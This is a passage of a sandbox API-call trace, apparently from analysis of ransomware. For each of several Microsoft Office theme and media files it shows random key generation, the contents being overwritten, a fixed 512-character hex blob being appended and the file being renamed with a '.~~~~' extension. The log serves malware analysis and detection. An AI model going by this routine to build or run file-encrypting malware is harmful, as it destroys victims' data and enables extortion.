	[0123.450] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.450] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.451] CloseHandle (hObject=0x120) returned 1
	[0123.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5e78
	[0123.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.~~~~")) returned 1
	[0123.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5e78 | out: hHeap=0x300000) returned 1
	[0123.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.654] GetLastError () returned 0x0
	[0123.706] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.707] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.707] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.707] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24369752445) returned 1
	[0123.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb334dc50, dwHighDateTime=0x1d60e1e)) 
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ff0
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ff0 | out: hHeap=0x300000) returned 1
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcb28
	[0123.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.708] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.708] GetLastError () returned 0x0
	[0123.708] GetLastError () returned 0x0
	[0123.708] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.709] GetLastError () returned 0x0
	[0123.709] GetLastError () returned 0x0
	[0123.718] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff7cf6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.718] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x830a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x830a, lpOverlapped=0x0) returned 1
	[0123.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.719] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.719] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.719] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.719] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.719] CloseHandle (hObject=0x138) returned 1
	[0123.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcc58
	[0123.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.~~~~")) returned 1
	[0123.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcc58 | out: hHeap=0x300000) returned 1
	[0123.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.721] GetLastError () returned 0x0
	[0123.721] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.722] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.722] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.722] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24371326276) returned 1
	[0123.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3373db0, dwHighDateTime=0x1d60e1e)) 
	[0123.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7f80
	[0123.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7f80 | out: hHeap=0x300000) returned 1
	[0123.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcf50
	[0123.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.724] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.724] GetLastError () returned 0x0
	[0123.724] GetLastError () returned 0x0
	[0123.724] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.724] GetLastError () returned 0x0
	[0123.724] GetLastError () returned 0x0
	[0123.726] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa126, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.726] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x5eda, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x5eda, lpOverlapped=0x0) returned 1
	[0123.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.728] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.728] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.728] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.729] CloseHandle (hObject=0x138) returned 1
	[0123.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcf50
	[0123.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.~~~~")) returned 1
	[0123.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcf50 | out: hHeap=0x300000) returned 1
	[0123.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.730] GetLastError () returned 0x0
	[0123.731] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.732] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.732] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.732] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24372231098) returned 1
	[0123.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3399f10, dwHighDateTime=0x1d60e1e)) 
	[0123.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7f48
	[0123.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0123.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7f48 | out: hHeap=0x300000) returned 1
	[0123.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0123.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd080
	[0123.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.733] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.734] GetLastError () returned 0x0
	[0123.734] GetLastError () returned 0x0
	[0123.734] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.734] GetLastError () returned 0x0
	[0123.734] GetLastError () returned 0x0
	[0123.736] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff57f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.736] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xa80a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xa80a, lpOverlapped=0x0) returned 1
	[0123.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.738] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.738] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.738] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.738] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.738] CloseHandle (hObject=0x138) returned 1
	[0123.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd080
	[0123.738] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.~~~~")) returned 1
	[0123.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd080 | out: hHeap=0x300000) returned 1
	[0123.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.739] GetLastError () returned 0x0
	[0123.741] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395410) returned 1
	[0123.741] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0123.741] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0123.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.742] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24373163670) returned 1
	[0123.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3399f10, dwHighDateTime=0x1d60e1e)) 
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7f10
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7f10 | out: hHeap=0x300000) returned 1
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd118
	[0123.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.742] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.742] GetLastError () returned 0x0
	[0123.743] GetLastError () returned 0x0
	[0123.743] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.743] GetLastError () returned 0x0
	[0123.743] GetLastError () returned 0x0
	[0123.745] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe006, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.745] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1ffa, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x1ffa, lpOverlapped=0x0) returned 1
	[0123.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.746] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.746] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.746] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.746] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.746] CloseHandle (hObject=0x138) returned 1
	[0123.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd118
	[0123.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.~~~~")) returned 1
	[0123.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd118 | out: hHeap=0x300000) returned 1
	[0123.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.748] GetLastError () returned 0x0
	[0123.748] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395410) returned 1
	[0123.749] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0123.749] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0123.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.749] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24373948544) returned 1
	[0123.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb33c0070, dwHighDateTime=0x1d60e1e)) 
	[0123.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fbf0
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fbf0 | out: hHeap=0x300000) returned 1
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd1b0
	[0123.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.750] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.750] GetLastError () returned 0x0
	[0123.750] GetLastError () returned 0x0
	[0123.750] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.750] GetLastError () returned 0x0
	[0123.751] GetLastError () returned 0x0
	[0123.752] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdf98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.752] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x2068, lpOverlapped=0x0) returned 1
	[0123.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
